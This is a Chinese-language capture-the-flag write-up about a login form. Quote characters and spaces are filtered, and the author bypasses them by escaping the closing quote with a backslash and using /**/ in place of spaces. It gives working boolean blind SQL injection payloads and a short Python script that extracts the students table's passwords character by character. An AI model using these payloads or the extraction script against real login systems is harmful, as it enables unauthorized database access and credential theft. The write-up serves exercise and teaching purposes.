进去之后只有个登录框:
过滤了单引号、空格,其中空格可以用/**/
代替。
注释有提示,sql语句如下:
$sql = "SELECT * from students where username = '$username' and password = '$password'";
正常是使用单引号闭合的。假设让username的值为admin\
,语句就会变成:
$sql = "SELECT * from students where username = 'admin\' and password = '$password'";
可以看到第二个单引号被注释掉了,username的值实质为admin\' and password=
,显然这个用户名也是不存在的,但是可以控制password处,假设让password的值为or/**/1>2#
$sql = "SELECT * from students where username = 'admin\' and password = 'or/**/1>2#'";
这样后面的语句就逃逸了出来,解决了单引号的闭合问题。
该题用户名输入admin\
密码输入or/**/1>2#
,即条件为假时,返回“用户名或密码错误”:
用户名输入admin\
密码输入or/**/1<2#
,即条件为真时,返回“登陆成功,你的用户名是08133554,不过你只是个普通用户,管理员账号是admin”:
该题通过上述方法,经过简单判断得知password的值长度为65:
password=or/**/(select(length(group_concat(password)))from(students))=65#
写简单脚本爆值:
import requests import re url = r"http://example/index.php" name = "" for i in range(1,66): for j in range(23,123): password = "or/**/(ascii(substr((select(group_concat(password))from(students)),"+str(i)+",1)))="+str(j)+"#" data = {'username':"admin\\","password":password,"submit":"%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2"} result = requests.post(url=url, data=data).text if('08133554' in result): name = name+chr(j) print(name) break
运行后可得两个值:
8affacc9816ba5dedc34d72c0e269648,541f98322eaea41f2b2e3d023972f098
用第二个值可成功登录,即为flag。